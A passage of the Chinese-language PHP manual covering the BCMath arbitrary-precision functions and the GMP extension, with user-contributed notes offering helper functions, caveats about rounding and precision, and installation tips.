11-Feb-2005 02:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>


两个任意精度的数字除法计算

  • ? bccomp
  • bcmod ?
  • PHP Manual
  • BC 数学 函数
  • 两个任意精度的数字除法计算

bcdiv

(PHP 4, PHP 5, PHP 7, PHP 8)

bcdiv — 两个任意精度的数字除法计算

说明

bcdiv(string $num1, string $num2, ?int $scale = null): string

num1 除以 num2。

参数

num1

被除数，字符串类型。

num2

除数，字符串类型。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

返回字符串类型的结果。如果 num2 是 0 结果为 null。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。

示例

Example #1 bcdiv() 示例

<?php

echo bcdiv('105', '6.55957', 3); // 16.007

?>

参见

  • bcmul() - 两个任意精度数字乘法计算

User Contributed Notes

Anonymous 26-Sep-2010 10:05
The custom bcdiv function listed at the top of this page produces very different results from bcdiv, as it rounds instead of truncating the result. Consider the following:

<?php

function bcdiv_cust( $first, $second, $scale = 0 )
{
    $res = $first / $second;
    return round( $res, $scale );
}

echo bcdiv('1','2','0') . " vs. " bcdiv_cust('1','2','0');  // prints '0 vs. 1'

?>
MM 18-Jan-2008 03:29
Perhaps some one can find useful this function to compute the modular inverse of a integer (extended euclidean algorithm):

  function invmod($a,$b) {
    $n=$b;
    $x=0; $lx=1; $y=1; $ly=0;
    while ($b) {
      $t=$b;
      $q=bcdiv($a,$b,0);
      $b=bcmod($a,$b);
      $a=$t;
      $t=$x; $x=bcsub($lx,bcmod(bcmul($q,$x),$n)); $lx=$t;
      $t=$y; $y=bcsub($ly,bcmod(bcmul($q,$y),$n)); $ly=$t;
    }
    if (bccomp($lx,0) == -1)
      $lx=bcadd($lx,$n);
    return $lx;
  }

  // verify

  $n="2447995268898324993537772139997802321";
  $t="64941057316178801556773346239351236811";
  $m="123456789";
  $i=invmod($t,$n);
  // (t*m)*inv(t) is m
  echo bcmod(bcmul(bcmod(bcmul($t,$m),$n),$i),$n) == $m;
Gautam 29-Aug-2007 07:56
<?php
 //converting in to required precision of decimal points
$result= bcdiv(89.99999999997,2.57865741235478,2);
 echo "$result";  // 34.90 result with 2 decimal points
?>
cristianDOTzuddas]NOSPAM[gmailDOTcom 24-Jul-2005 05:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
    if (strlen($dec_str)>0) {
        $bin_str = '';
        do {
            if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
                $bin_str .= '0';
            else
                $bin_str .= '1';

            $dec_str = bcdiv($dec_str, '2');
        } while ($dec_str!='0');

        return strrev($bin_str);
    }
    else
        return null;
}
?>

-----
Cristian
www.CodeFlower.com


任意精度数字取模

  • ? bcdiv
  • bcmul ?
  • PHP Manual
  • BC 数学 函数
  • 任意精度数字取模

bcmod

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmod — 任意精度数字取模

说明

bcmod(string $num1, string $num2, ?int $scale = null): string

对 num1 使用 num2 取模。 除非 num2 是零，否则结果必定和 num1 有相同的符号。

参数

num1

string 类型的被除数。

num2

string 类型的除数。

返回值

返回字符串类型取模后的结果，如果 num2 为 0 则返回 null。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。
7.2.0 | 现在 num1 和 num2 不会截断成整数。 所以现在 bcmod() 的表现更接近 fmod() 而不是 % 操作符。
7.2.0 | 新增参数 scale。

示例

Example #1 bcmod() 示例

<?php
bcscale(0);
echo bcmod( '5', '3'); // 2
echo bcmod( '5', '-3'); // 2
echo bcmod('-5', '3'); // -2
echo bcmod('-5', '-3'); // -2
?>

Example #2 带小数点的 bcmod()

<?php
bcscale(1);
echo bcmod('5.7', '1.3'); // PHP 7.2.0 起是 0.5；之前是 0
?>

参见

  • bcdiv() - 两个任意精度的数字除法计算

User Contributed Notes

drahoszdenek at gmail dot com 01-Feb-2013 04:44
The modulus can be only integer. For "floats" bcmod returns 0:

<?php
echo bcmod('10', '2.1'); // 0
?>

For real modulus you can use BN-PHP project (hosted at Bitbucket):

<?php
$eval = new \BN\Expression\ExpressionEvaluator();
$operators = new \BN\Expression\OperatorsFactory();
$eval->setOperators($operators->getOperators(array('%')));

echo $eval->evaluate('10 % 2.1'); // 1.6
echo $eval->evaluate('10 % -2.1'); // 1.6
echo $eval->evaluate('-10 % 2.1'); // -1.6
echo $eval->evaluate('-10 % -2.1'); // -1.6
?>
lauris at night dot lt 23-Dec-2003 08:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
    // how many numbers to take at once? carefull not to exceed (int)
    $take = 5;
    $mod = '';

    do
    {
        $a = (int)$mod.substr( $x, 0, $take );
        $x = substr( $x, $take );
        $mod = $a % $y;
    }
    while ( strlen($x) );

    return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>


两个任意精度数字乘法计算

  • ? bcmod
  • bcpow ?
  • PHP Manual
  • BC 数学 函数
  • 两个任意精度数字乘法计算

bcmul

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmul — 两个任意精度数字乘法计算

说明

bcmul(string $num1, string $num2, ?int $scale = null): string

num1 乘以 num2。

参数

num1

字符串类型的左操作数。

num2

字符串类型的右操作数。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

返回字符串类型的结果。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。
7.3.0 | 现在 bcmul() 可以按想要的小数点位数返回数字。 而之前，返回的数字会忽略尾随零（trailing decimal zeroes）。

示例

Example #1 bcmul() 示例

<?php
echo bcmul('1.34747474747', '35', 3); // 47.161
echo bcmul('2', '4'); // 8
?>

注释

Note:

Before PHP 7.3.0 bcmul() may return a result with fewer digits after the decimal point than the scale parameter would indicate. This only occurs when the result doesn't require all of the precision allowed by the scale. For example:

Example #2 bcmul() scale example

<?php
echo bcmul('5', '2', 2); // prints "10", not "10.00"
?>

参见

  • bcdiv() - 两个任意精度的数字除法计算

User Contributed Notes

mgkirs 25-Aug-2017 04:08
$float = 0.31234144143341;
$float1 = 0.00000000000000000000000000000005;
echo $float, "\n";
//0.31234144143341
echo $float1, "\n";
//5.0E-32
echo $float*$float1, "\n";
//1.5617072071671E-32

<?php
/*bcmul read float as string*/
echo bcmul($float, $float1, 32),"\n";
//0
echo bcmul($float, sprint('%.32f',$float1), 32);
//0.000000000000000000000000000000015617072071671;
?>
gar37bic at gmail dot com 19-Nov-2012 05:06
When using printf to print the results of bcmath operations, use string format, i.e. '%s', not numeric formats such as '%d' or '%f'.  For example, the output of factorial (23) will be incorrect if using %d or %f:

Result using %f:
factorial (22) = 1124000727777607680000 (correct)
factorial (23) = 25852016738884978212864 (incorrect)

Result using %s:
factorial (22) = 1124000727777607680000
factorial (23) = 25852016738884976640000

Using echo, this is not a problem - PHP will output the bcmath string type correctly.
admin at spamhere dot sinfocol dot org 03-Jan-2011 10:17
Well, I have a little problem implementing Blake Hash in my server because it is not a x64 server machine. I made a little function that use the powerfull of BC library to do the bitwise operation Shift.

<?php
echo 'Left Shift test<br />';
bprint('1', decbin(1));
bprint('1 << 32 (Fail)', decbin(1 << 32)); //Fail, operation not succesfull in 32-bit machine
bprint('shiftleft(1, 32) (Success)', dec2bin(shiftleft('1', '32'))); //decbin fails, so we use personalized function, success

echo '<br />';
echo 'Right Shift test<br />';
bprint('9223372036854775808', dec2bin('9223372036854775808'));
bprint('9223372036854775808 >> 63 (Fail)', decbin(9223372036854775808 >> 63));
bprint('rightshift(9223372036854775808, 63) (Success)', decbin(rightshift('9223372036854775808', '63')));

function shiftleft($num, $bits) {
    return bcmul($num, bcpow('2', $bits));
}

function rightshift($num, $bits) {
    return bcdiv($num, bcpow('2', $bits));
}

function bprint($title, $content) {
    echo $title . '<br />' . str_pad($content, 64, '0', STR_PAD_LEFT) . '<br />' . PHP_EOL;
}

//http://www.php.net/manual/en/function.decbin.php#99533
function dec2bin($dec) {
    // Better function for dec to bin. Support much bigger values, but doesn't support signs
    for ($b = '', $r = $dec; $r >1;) {
        $n = floor($r / 2);
        $b = ($r - $n * 2) . $b;
        $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r % 2) . $b;
}
?>
Nitrogen 08-Jul-2009 05:55
I made this to multiply an unlimited size of integers together (meaning no decimals)..
This could be useful for those without the BCMath extension.

<?php

function Mul($Num1='0',$Num2='0') {
  // check if they're both plain numbers
  if(!preg_match("/^\d+$/",$Num1)||!preg_match("/^\d+$/",$Num2)) return(0);

  // remove zeroes from beginning of numbers
  for($i=0;$i<strlen($Num1);$i++) if(@$Num1{$i}!='0') {$Num1=substr($Num1,$i);break;}
  for($i=0;$i<strlen($Num2);$i++) if(@$Num2{$i}!='0') {$Num2=substr($Num2,$i);break;}

  // get both number lengths
  $Len1=strlen($Num1);
  $Len2=strlen($Num2);

  // $Rema is for storing the calculated numbers and $Rema2 is for carrying the remainders
  $Rema=$Rema2=array();

  // we start by making a $Len1 by $Len2 table (array)
  for($y=$i=0;$y<$Len1;$y++)
    for($x=0;$x<$Len2;$x++)
      // we use the classic lattice method for calculating the multiplication..
      // this will multiply each number in $Num1 with each number in $Num2 and store it accordingly
      @$Rema[$i++%$Len2].=sprintf('%02d',(int)$Num1{$y}*(int)$Num2{$x});

  // cycle through each stored number
  for($y=0;$y<$Len2;$y++)
    for($x=0;$x<$Len1*2;$x++)
      // add up the numbers in the diagonal fashion the lattice method uses
      @$Rema2[Floor(($x-1)/2)+1+$y]+=(int)$Rema[$y]{$x};

  // reverse the results around
  $Rema2=array_reverse($Rema2);

  // cycle through all the results again
  for($i=0;$i<count($Rema2);$i++) {
    // reverse this item, split, keep the first digit, spread the other digits down the array
    $Rema3=str_split(strrev($Rema2[$i]));
    for($o=0;$o<count($Rema3);$o++)
      if($o==0) @$Rema2[$i+$o]=$Rema3[$o];
      else @$Rema2[$i+$o]+=$Rema3[$o];
  }
  // implode $Rema2 so it's a string and reverse it, this is the result!
  $Rema2=strrev(implode($Rema2));

  // just to make sure, we delete the zeros from the beginning of the result and return
  while(strlen($Rema2)>1&&$Rema2{0}=='0') $Rema2=substr($Rema2,1);

  return($Rema2);
}

$A='5650175242508133742';
$B='2361030539975818701734615584174625';

printf("  Mul(%s,%s); // %s\r\n",$A,$B,  Mul($A,$B));
printf("BCMul(%s,%s); // %s\r\n",$A,$B,BCMul($A,$B)); // build-in function

/*
  This will print something similar to this..
    Mul(5650175242508133742,2361030539975818701734615584174625);
  BCMul(5650175242508133742,2361030539975818701734615584174625);

  both of which should be followed by the answer:
  13340236303776981390475700774516825287352418182696750
*/

?>

It was a fun experience making.. even though this took me longer than the BCAdd alternative I did..
Memory allocation might be an issue for rediculously larger numbers though.. if someone wants to benchmark the performance of my function; feel free.
Enjoy,
Nitrogen.


任意精度数字的乘方

  • ? bcmul
  • bcpowmod ?
  • PHP Manual
  • BC 数学 函数
  • 任意精度数字的乘方

bcpow

(PHP 4, PHP 5, PHP 7, PHP 8)

bcpow — 任意精度数字的乘方

说明

bcpow(string $num, string $exponent, ?int $scale = null): string

num 的 exponent 次方运算。

参数

num

string 类型的底数。

exponent

string 类型的指数。 如果指数不是整数，将被截断。 指数的有效范围取决于平台，但起码支持 -2147483648 到 2147483647 的范围。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

返回字符串类型的结果。

更新日志

版本 | 说明
7.3.0 | 现在 bcpow() 可以按想要的小数点位数返回数字。 而之前，返回的数字会忽略尾随零（trailing decimal zeroes）。

示例

Example #1 bcpow() 示例

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

注释

Note:

Before PHP 7.3.0 bcpow() may return a result with fewer digits after the decimal point than the scale parameter would indicate. This only occurs when the result doesn't require all of the precision allowed by the scale. For example:

Example #2 bcpow() scale example

<?php
echo bcpow('5', '2', 2); // prints "25", not "25.00"
?>

参见

  • bcpowmod() - Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcsqrt() - 任意精度数字的二次方根

User Contributed Notes

thomas at tgohome dot com 13-Jul-2009 12:19
<?php

bcscale(100);

/*
 * Computes the natural logarithm using a series.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iter = 10)
{
    $result = "0.0";

    for($i = 0; $i < $iter; $i++)
    {
        $pow = (1 + (2 * $i));
        $mul = bcdiv("1.0", $pow);
        $fraction = bcmul($mul, bcpow(bcsub($a, "1.0") / bcadd($a, "1.0"), $pow));
        $result = bcadd($fraction, $result);
    }

    return bcmul("2.0", $result);
}

/*
 * Computes the base2 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog2($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("2", $iter));
}

/*
 * Computes the base10 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog10($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("10", $iter));
}

?>
11-Feb-2005 01:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
    $awnser = "1";
    while ($power) {
        $awnser = bcmul($awnser, $num, 100);
        $power = bcsub($power, "1");
    }
    return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
Michael Bailey (jinxidoru at byu dot net) 09-Aug-2004 05:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com


Raise an arbitrary precision number to another, reduced by a specified modulus

  • ? bcpow
  • bcscale ?
  • PHP Manual
  • BC 数学 函数
  • Raise an arbitrary precision number to another, reduced by a specified modulus

bcpowmod

(PHP 5, PHP 7, PHP 8)

bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus

说明

bcpowmod(
string $num,
string $exponent,
string $modulus,
?int $scale = null
): string

Use the fast-exponentiation method to raise num to the power exponent with respect to the modulus modulus.

参数

num

The base, as an integral string (i.e. the scale has to be zero).

exponent

The exponent, as an non-negative, integral string (i.e. the scale has to be zero).

modulus

The modulus, as an integral string (i.e. the scale has to be zero).

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

Returns the result as a string, or false if modulus is 0 or exponent is negative.

更新日志

版本 | 说明
8.0.0 | scale is now nullable.

示例

The following two statements are functionally identical. The bcpowmod() version however, executes in less time and can accept larger parameters.

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a and $b are equal to each other.

?>

注释

Note:

Because this method uses the modulus operation, numbers which are not positive integers may give unexpected results.

参见

  • bcpow() - 任意精度数字的乘方
  • bcmod() - 任意精度数字取模

User Contributed Notes

laysoft at gmail dot com 30-Jan-2007 05:34
I found a better way to emulate bcpowmod on PHP 4, which works with very big numbers too:

function powmod($m,$e,$n) {
    if (intval(PHP_VERSION)>4) {
        return(bcpowmod($m,$e,$n));
    } else {
        $r="";
        while ($e!="0") {
            $t=bcmod($e,"4096");
            $r=substr("000000000000".decbin(intval($t)),-12).$r;
            $e=bcdiv($e,"4096");
        }
        $r=preg_replace("!^0+!","",$r);
        if ($r=="") $r="0";
        $m=bcmod($m,$n);
        $erb=strrev($r);
        $q="1";
        $a[0]=$m;
        for ($i=1;$i<strlen($erb);$i++) {
            $a[$i]=bcmod(bcmul($a[$i-1],$a[$i-1]),$n);
        }
        for ($i=0;$i<strlen($erb);$i++) {
            if ($erb[$i]=="1") {
                $q=bcmod(bcmul($q,$a[$i]),$n);
            }
        }
        return($q);
    }
}
rrasss at gmail dot com 15-May-2006 02:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com 27-Sep-2005 09:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
    return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
    {
    if (bcmod($Exponent, 2) == "1")
      $Result = bcmod(bcmul($Result, $Value), $Modulus);

    if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

    $Value = bcmod(bcmul($Value, $Value), $Modulus);
    }

  return ($Result);
  }


设置/获取所有 bc math 函数的默认小数点保留位数

  • ? bcpowmod
  • bcsqrt ?
  • PHP Manual
  • BC 数学 函数
  • 设置/获取所有 bc math 函数的默认小数点保留位数

bcscale

(PHP 4, PHP 5, PHP 7, PHP 8)

bcscale — 设置/获取所有 bc math 函数的默认小数点保留位数

说明

bcscale(int $scale): int

设置所有 bc math 函数在未设定情况下的小数点保留位数。

bcscale(null $scale = null): int

获取当前的小数点保留位数。

参数

scale

小数点保留位数。

返回值

设置的时候，返回之前的小数点保留位数。否则就是返回当前的位数。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。
7.3.0 | 现在 bcscale() 不仅可以设置，还可以获取当前的小数点保留位数。 用于设置的时候，现在会返回之前的位数。 之前 scale 是强制的参数， 且 bcscale() 总是返回 true。

示例

Example #1 bcscale() 示例

<?php

// 默认小数点位数： 3
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// 不调用 bcscale() 也一样
echo bcdiv('105', '6.55957', 3); // 16.007

?>

User Contributed Notes

sicerwork at aliyun dot com 16-Jan-2017 06:56
Executing bcsacle() will change the scale value of fpm.conf, not only the current process.
herslyadam at gmail dot com 07-Apr-2014 10:04
edited bcround function with negative number support:
<?php
function bcround($number, $scale=0) {
    if($scale < 0) $scale = 0;
    $sign = '';
    if(bccomp('0', $number, 64) == 1) $sign = '-';
    $increment = $sign . '0.' . str_repeat('0', $scale) . '5';
    $number = bcadd($number, $increment, $scale+1);
    return bcadd($number, '0', $scale);
}
?>
ravenswd at gmail dot com 30-Apr-2012 06:43
Simple, easy way to remove excess trailing zeros using rtrim:
<php>
  // $total is the result of a bcmath calculation
  if ( strpos($total, '.') !== false ):
    $total = rtrim($total, '0');
    $total = rtrim($total, '.');
  endif;
</php>
mwgamera at gmail dot com 05-Dec-2007 06:45
These functions DO NOT round off your values. No arbitrary precision libraries do it this way. It stops calculating after reaching scale of decimal places, which mean that your value is cut off after scale number of digits, not rounded. To do the rounding use something like this:
<?php
        function bcround($number, $scale=0) {
                $fix = "5";
                for ($i=0;$i<$scale;$i++) $fix="0$fix";
                $number = bcadd($number, "0.$fix", $scale+1);
                return    bcdiv($number, "1.0",    $scale);
        }
?>


任意精度数字的二次方根

  • ? bcscale
  • bcsub ?
  • PHP Manual
  • BC 数学 函数
  • 任意精度数字的二次方根

bcsqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsqrt — 任意精度数字的二次方根

说明

bcsqrt(string $num, ?int $scale = null): string

返回 num 的二次方根。

参数

num

操作数，格式良好的 BCMath 数字字符串。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

返回平方根，作为格式良好的 BCMath 数字字符串。

错误／异常

此函数在以下情况下引发 ValueError 错误：

  • num 不是格式良好的 BCMath 数字字符串
  • num 小于 0
  • scale 超出有效范围

更新日志

版本 | 说明
8.0.0 | 如果 num 不是格式良好的 BCMath 数字字符串，或小于 0，则会引发 ValueError 错误。之前，会引发 E_WARNING 错误。
8.0.0 | 现在，scale 的取值范围必须在 0 到 2147483647 之间；之前，负数的 scale 值会被静默处理为 0。
8.0.0 | 现在 scale 可以为 null。

示例

Example #1 bcsqrt() 示例

<?php

echo bcsqrt('2', 3); // 1.414

?>

参见

  • bcpow() - 任意精度数字的乘方

User Contributed Notes

There are no user contributed notes for this page.


两个任意精度数字的减法

  • ? bcsqrt
  • GMP ?
  • PHP Manual
  • BC 数学 函数
  • 两个任意精度数字的减法

bcsub

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsub — 两个任意精度数字的减法

说明

bcsub(string $num1, string $num2, ?int $scale = null): string

num1 减去 num2。

参数

num1

字符串类型的左操作数。

num2

字符串类型的右操作数。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

以 string 类型返回减法之后的结果。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。

示例

Example #1 bcsub() 示例

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b); // -3
echo bcsub($a, $b, 4); // -3.7660

?>

参见

  • bcadd() - 两个任意精度数字的加法计算

User Contributed Notes

charles dot adrian dot wood at gmail dot com 14-May-2019 02:52
Please note that bcsub will fail in non-obvious ways if it's fed something that cannot be converted to a number. For instance:

bcsub('yes', 'no') === '0'

Yes, if you put garbage in, you get garbage out. Just don't expect bcsub to throw an error when you feed it an entirely non-numeric value.
nd at snackbox dot org 28-Mar-2018 09:26
The parameter order here is probably fairly obvious to most people (subtract right from left), but to clarify with a simple use case since I was struggling with this at the end of a long day:

<?php
echo bcsub('7', '5'); // 7 - 5 = '2'
echo bcsub('12', '17'); // 12 - 17 = '-5'
?>

Provide the parameters in the same order you would when using a normal subtraction operator.


GNU Multiple Precision

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • 示例
  • GMP 函数
    • gmp_abs — Absolute value
    • gmp_add — Add numbers
    • gmp_and — Bitwise AND
    • gmp_binomial — Calculates binomial coefficient
    • gmp_clrbit — Clear bit
    • gmp_cmp — Compare numbers
    • gmp_com — Calculates one's complement
    • gmp_div_q — Divide numbers
    • gmp_div_qr — Divide numbers and get quotient and remainder
    • gmp_div_r — Remainder of the division of numbers
    • gmp_div — 别名 gmp_div_q
    • gmp_divexact — Exact division of numbers
    • gmp_export — Export to a binary string
    • gmp_fact — Factorial
    • gmp_gcd — Calculate GCD
    • gmp_gcdext — Calculate GCD and multipliers
    • gmp_hamdist — Hamming distance
    • gmp_import — Import from a binary string
    • gmp_init — Create GMP number
    • gmp_intval — Convert GMP number to integer
    • gmp_invert — Inverse by modulo
    • gmp_jacobi — Jacobi symbol
    • gmp_kronecker — Kronecker symbol
    • gmp_lcm — Calculate LCM
    • gmp_legendre — Legendre symbol
    • gmp_mod — Modulo operation
    • gmp_mul — Multiply numbers
    • gmp_neg — Negate number
    • gmp_nextprime — Find next prime number
    • gmp_or — Bitwise OR
    • gmp_perfect_power — Perfect power check
    • gmp_perfect_square — Perfect square check
    • gmp_popcount — Population count
    • gmp_pow — Raise number into power
    • gmp_powm — Raise number into power with modulo
    • gmp_prob_prime — Check if number is "probably prime"
    • gmp_random_bits — Random number
    • gmp_random_range — Get a uniformly selected integer
    • gmp_random_seed — Sets the RNG seed
    • gmp_random — Random number
    • gmp_root — Take the integer part of nth root
    • gmp_rootrem — Take the integer part and remainder of nth root
    • gmp_scan0 — Scan for 0
    • gmp_scan1 — Scan for 1
    • gmp_setbit — Set bit
    • gmp_sign — Sign of number
    • gmp_sqrt — Calculate square root
    • gmp_sqrtrem — Square root with remainder
    • gmp_strval — Convert GMP number to string
    • gmp_sub — Subtract numbers
    • gmp_testbit — Tests if a bit is set
    • gmp_xor — Bitwise XOR
  • GMP — The GMP class
    • GMP::__construct — Create GMP number
    • GMP::__serialize — Serializes the GMP object
    • GMP::__unserialize — Deserializes the data parameter into a GMP object

User Contributed Notes

Anonymous 15-Nov-2011 05:38
Be careful with GMP - it considers leading zeros in a number string as meaning the number is in octal, whereas 'bc' doesn't:

  gmp_strval("000100", 10) => 64

  bcmul("000100", "1") => 100


简介

These functions allow for arbitrary-length integers to be worked with using the GNU MP library.

Note:

Most GMP functions accept GMP number arguments. These are shown in this documentation as GMP objects. Most of these functions will also accept numeric and string arguments, so long as it is possible to convert the latter to a number. Also, if there is a more performant function that can operate on the arguments (integers only), then it will be used instead (this is done transparently). See also the gmp_init() function.

Note:

From PHP 5.6 onwards, the arithmetic, bitwise, and comparison operators may be used with the GMP objects returned from gmp_init() and other GMP functions.

Warning

Large integers must be specified as strings - otherwise, PHP will coerce them to floats, resulting in a loss of precision.

Note: This extension is available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


需求

The GMP library can be downloaded from » http://gmplib.org/#DOWNLOAD. This site also has the GMP manual available.

At least GMP version 4.2 is required, with some functions requiring a more recent version of the GMP library.

On Windows, MPIR is required instead of GMP.

User Contributed Notes

There are no user contributed notes for this page.


安装

In order to have these functions available, PHP must be compiled with GMP support by using the --with-gmp option.

User Contributed Notes

Elydreams Trend 23-Oct-2021 09:03
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete all.
1602352639 at qq dot com 26-Jun-2020 11:07
ubuntu

sudo apt install php-gmp
oharry0535 at gmail dot com 08-Feb-2019 07:51
Under Windows you will need to un-comment the line in your php.ini file

;extension=gmp

within the php.ini and restart Apache.
insign at gmail dot com 10-Nov-2016 08:00
Simple run:
   sudo apt install php7.0-gmp
sean at crazyhorsecoding dot com 28-Dec-2013 08:45
on Ubuntu Server:

sudo apt-get install libgmp-dev
sudo apt-get install php5-gmp
sudo service apache2 reload
omagaldadze at yahoo dot com 04-May-2013 09:41
On ArchLinux php 5.4.14-1 I had to uncomment the line

extension=gmp.so

in /etc/php/php.ini file.

Probably, restart of web server (e.g. Apache) is required if working from web.
mike dot mackintosh at angrystatic dot com 01-Apr-2013 03:07
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete.
admin at ee-dd dot com 03-Oct-2011 09:18
on ubuntu you can get it from Synaptic Package Manager
just search words "gmp",you'll find it.
MiquelFire 24-Aug-2009 12:40
With PHP 5.3 on Windows, you need to use the VC9 build, otherwise you will not have the dll to enable GMP
Chris 02-Mar-2009 11:49
Under Windows you will need to uncomment the line

;extension=php_gmp.dll

within the php.ini and restart Apache.
arancaytar dot ilyaran at gmail dot com 30-Dec-2008 11:48
Note that this parameter requires a path, as in --with-gmp=DIR, if gmp is installed in a non-standard location, which is almost always the case when you are building your own PHP installation in your home directory.

Obvious, but it's an easy mistake.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

GMP_ROUND_ZERO (int)
GMP_ROUND_PLUSINF (int)
GMP_ROUND_MINUSINF (int)
GMP_MSW_FIRST (int)
GMP_LSW_FIRST (int)
GMP_LITTLE_ENDIAN (int)
GMP_BIG_ENDIAN (int)
GMP_NATIVE_ENDIAN (int)
GMP_VERSION (string)
The GMP library version

User Contributed Notes

AnonyMouse At Do Not Mail Me Dot Com 20-Jul-2020 04:21
Here is a table showing the output from gmp_export given gmp_init( 0x0123456789ABCDEF ) and various inputs parameters on a little endian 64-bit platform.
NOTE that the underscores in the table are used to illustrate the separation between "word"s (which are either char, short, int, or long).

+-----------+-----+--------+-------------------------+
| Word Size | Sig | Endian | gmp_export Hex Result   |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | little | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | big    | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | little | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | big    | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | little | 2301_6745_AB89_EFCD     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | big    | 0123_4567_89AB_CDEF     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | little | EFCD_AB89_6745_2301     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | big    | CDEF_89AB_4567_0123     |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | little | 67452301_EFCDAB89       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | big    | 01234567_89ABCDEF       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | LSW | little | EFCDAB89_67452301       |
+-----------+-----+--------+-------------------------+
